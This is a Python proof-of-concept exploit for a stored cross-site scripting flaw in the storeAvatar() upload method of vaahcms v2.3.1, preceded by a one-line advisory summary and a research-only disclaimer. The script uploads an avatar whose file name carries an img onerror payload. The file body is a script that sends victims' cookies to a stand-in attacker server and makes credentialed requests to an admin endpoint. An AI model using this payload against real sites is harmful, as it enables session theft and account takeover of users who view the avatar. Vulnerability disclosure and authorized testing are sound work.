Cross Site Scripting in vaahcms v.2.3.1 allows a remote attacker to execute arbitrary code via upload method in the storeAvatar() method of UserBase.php
The following code is for security research and authorized testing only.
python
# CVE-2025-61183 PoC - vaahcms v2.3.1 Stored XSS via storeAvatar()
# Exploit: Upload a malicious file as avatar to execute arbitrary JavaScript
import requests
TARGET_URL = "http://target-vaahcms-site.com"
UPLOAD_ENDPOINT = "/api/vaah/users/avatar" # storeAvatar() method endpoint
# Step 1: Create a malicious payload file
# The malicious file contains XSS payload that will execute when the avatar is rendered
malicious_filename = 'avatar<img src=x onerror=alert(document.cookie)>.jpg'
# JavaScript payload to steal cookies or perform actions
xss_payload = '''
<script>
// Steal session cookies
var img = new Image();
img.src = "http://attacker-server.com/steal?cookie=" + document.cookie;
// Or perform actions on behalf of the victim
fetch('/api/admin/users', {credentials: 'include'});
</script>
'''
# Step 2: Upload the malicious avatar
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "application/json"
}
files = {
"avatar": (malicious_filename, xss_payload, "image/jpeg")
}
# Step 3: Send the upload request
response = requests.post(
TARGET_URL + UPLOAD_ENDPOINT,
files=files,
headers=headers
)
print(f"Upload Status: {response.status_code}")
print(f"Response: {response.text}")
# Step 4: When any user views the profile with this avatar,
# the XSS payload will execute in their browser context
print("Payload uploaded successfully. XSS will trigger when avatar is viewed.")